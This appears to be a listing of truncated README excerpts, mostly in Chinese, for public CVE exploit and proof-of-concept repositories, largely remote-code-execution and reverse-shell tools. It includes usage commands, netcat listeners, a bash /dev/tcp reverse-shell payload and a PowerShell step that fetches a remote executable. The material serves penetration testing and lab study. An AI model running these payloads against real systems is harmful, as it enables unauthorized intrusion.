CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 描述 此脚本是一个渗透测试工具，旨在利用 Apache Commons Text（版本 -param $PARAMETER -L $LHOST -P $LPORT 示例 python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免责声明 此工具仅用于教育目的和经过授权的渗透测试。作者不对因使用此脚本而导致的任何滥用或损害负责。...

CVE-2024-4439

Exploit CVE-2024-4439 此Python脚本演示了针对漏洞CVE-2024-4439 的利用方法。你可以使用此脚本来测试存在漏洞的WordPress站点。 使用方法 开始之前 git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-packages 使用以下命令运行脚本： python3 exploit.py -u https://target.com/ --ip ServerIp --port 8000...

CVE-2023-38646

CVE-2023-38646 原始脚本来源于securezeron 我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ==' 修改后的生成reverse shell负载的代码没有‘=’...

binary-cartography

Cartografía Binaria Webinars técnicos sobre ingeniería inversa, análisis de malware y protección de software. Este repositorio aloja los materiales de Binary Cartography , la serie independiente de webinars de Tim sobre seguridad binaria. El enfoque es la ingeniería inversa práctica, el análisis ...

CVE-2021-31630

CVE-2021-31630 Modificado el script PoC CVE-2021-31630 por Fellipe Oliveira para HTB Uso 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 的 POC 仅用于教育目的。 使用方法：在你的机器上打开一个监听器 nc -lnvp 修改 perl 命令以匹配你的 IP 和端口。 启动脚本，你的监听器将收到一个反弹 shell。Python 脚本会超时，这是预期的。...

POC-exploit-for-Dolibarr

针对 Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host...

kunglao-agent

kunglao-agent kunglao-agent 是一套自主逆向工程系统：你给它目标和待解问题，它自己把问题做上几小时到几天 —— 自己规划路径，worker 死了能补位，崩溃了能续跑；只有当每个答案都从原始证据推导出来、并扛过机械校验门控之后，它才收敛交卷。 简体中文 · English 它目前以 Claude Code 插件的形式分发 —— Claude Code 是你对话的界面，但不是产品的本体。产品是这套循环：专家 worker 先做静态分析，独立验证者从原始证据盲重推每一条事实，机械门控决定分析何时算完成。交付物是一个事实库：每条 claim 都有字节锚定、独立验证、证据...

CVE-2021-22204

CVE-2021-22204 漏洞 exiftool 任意命令执行 使用方法 1. 在 exploit.py 文件中设置接收反弹 shell 的 ip、port，然后运行 docker compose up 2. 访问 docker shell，在 /root 路径下执行 python3 exploit.py 文件，生成 image.jpg 攻击代码文件 3. 下载并使用该 image.jpg 文件 参考...

cve-2023-4220-poc

CVE-2023-4220 Chamilio 漏洞利用 PoC 无耻地抄袭自 直接灵感来自：https://starlabs.sg/advisories/23/23-4220/ 用法： Chamilio CVE-2023-4220 POC Exploit positional arguments: url The Chamilio Url. e.g. http://example.com options: -h, --help show this help message and exit -c C The command to execute. e.g. "id", default: ...

CVE-2020-8165

CVE-2020-8165.py 针对CVE-2020-8165漏洞的一个Shell：https://github.com/masahiro331/CVE-2020-8165 使用方法： CVE-2020-8165.py IP IP:PORT CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...

CVE-2023-46604

CVE-2023-46604 根据环境要求，构建包含受害者机器和目标机器两个镜像的 docker-compose 在受害者机器上，启动 ActiveMQ 切换到攻击机器： • 开启 HTTP 服务以发送 poc： python3 -m http.server • 使用 netcat 监听到攻击机器的连接： nc -nlvp 4444 • 发送创建反向 shell 连接到攻击机器的 payload： python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中：...

CVE-2024-39069

ifood Order Manager 'Gestor de Peddios.exe' - DLL劫持 攻击者将一个名为"d3d12.dll"的恶意DLL放置在应用程序在找到合法"d3d12.dll"之前会搜索的目录中。当应用程序启动时，它会加载恶意DLL而非合法DLL，从而允许攻击者在应用程序的上下文中执行任意代码。 供应商主页：https://gestordepedidos.ifood.com.br/ Google Drive：https://drive.google.com/file/d/1p5SavlbLAE2o59l8jj4j-FkENe0Y-P/view?usp=sharin...

CVE-2021-3456

CVE-2021-3456 一条从看似无害的 PDF 文件开始，最终在 AWS EC2 实例上获得反向 shell 的实用攻击链 开端：构建 PDF 载荷 一切从攻击的前端开始。利用 PowerShell 内置的 WScript 对象，我们将一段脚本嵌入 PDF 中，该 PDF 将被投递到 Windows 主机。载荷从远程 HTTP 端点拉取一个可执行文件，并将其写入本地文件系统。 $payload = @" var wsh = WScript.CreateObject"WScript.Shell"; wsh.Exec "powershell -NoProfile...

CrackMeZ3S-CTF-CrackMe-Tutorial

如何为 CTF 竞赛编写一个 CrackMe 随着 CTF（夺旗）竞赛的日益流行， 以及 Dragon Sector 等波兰团队在该领域的出色表现， 我认为展示如何构建一个简单的 CrackMe 会很有趣，其中会用到一些 使其难以破解和分析的创意技术。 如果你曾对逆向工程感到好奇，参加过 CTF 竞赛， 或者想创建自己的 CrackMe 并让其他参赛者抓狂，那么这篇文章就是为你准备的。 英文完整文章 你可以找到一篇关于该 crackme 的文章，其中包含详细的技术描述 和源代码注释（英文），地址为：...

CVE-2024-48061

CVE-2024-48061 Langflow 存在远程代码执行漏洞 CVE-2024-48061 poc 用法 python3 poc.py -i -p -l -lp 描述 此脚本利用目标 Web 服务器上易受攻击的 API 端点 /api/v1/validate/code。 它首先验证易受攻击路径是否存在，然后在指定的侦听 IP 和端口上启动 TCP 侦听器。 侦听器就绪后，它会向目标发送特制有效载荷，以生成一个连接到侦听器的反向 shell。 示例 成功尝试 python3 poc3.py -i 192.168.0.2 -p 7860 -l 192.168.0.3 -lp 4444...

CVE-2023-38646

CVE-2023-38646-exploit “该漏洞编号为 CVE-2023-38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。” 针对 cve-2023-38646 的快速反向 Shell 利用脚本。 此漏洞并非我发现的，我只是编写了这个脚本。 使用方法 root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | | | | | |/ /| || | / / | | \ / / | |/ /| | |...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

本项目旨在对Ackme Support Incorporated最近发布的一个博客进行安全审计，在网站公开前识别任何关键漏洞。任务包括寻找远程执行代码并获取目标系统访问权限的方法。 环境与设置 目标系统：易受攻击的虚拟机 应用程序：Fuel CMS 版本：1.4 利用的漏洞：CVE-2018-16763 工具： 来自GitHub的Python利用脚本 nc netcat — 用于接收反弹shell 攻击步骤 1. 应用程序识别 部署易受攻击的虚拟机并通过Web界面访问后，确定该站点运行的是Fuel CMS 1.4版本，该版本存在远程代码执行（RCE）漏洞。 2. 寻找可用的利用脚本...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell 运行命令 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 注意 当你输入目标主机时，请不要忘记添加 http:// 或 https://...

CVE-2023-50564

CVE-2023-50564 仅供教育目的使用。 此脚本利用 CVE-2023-50564 向目标服务器上传一个反向 PHP 壳。 你可以使用类似 这个 的壳。只需将 PHP 文件压缩成 zip，然后将 zip 传递给此脚本。 示例 python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p hunter2...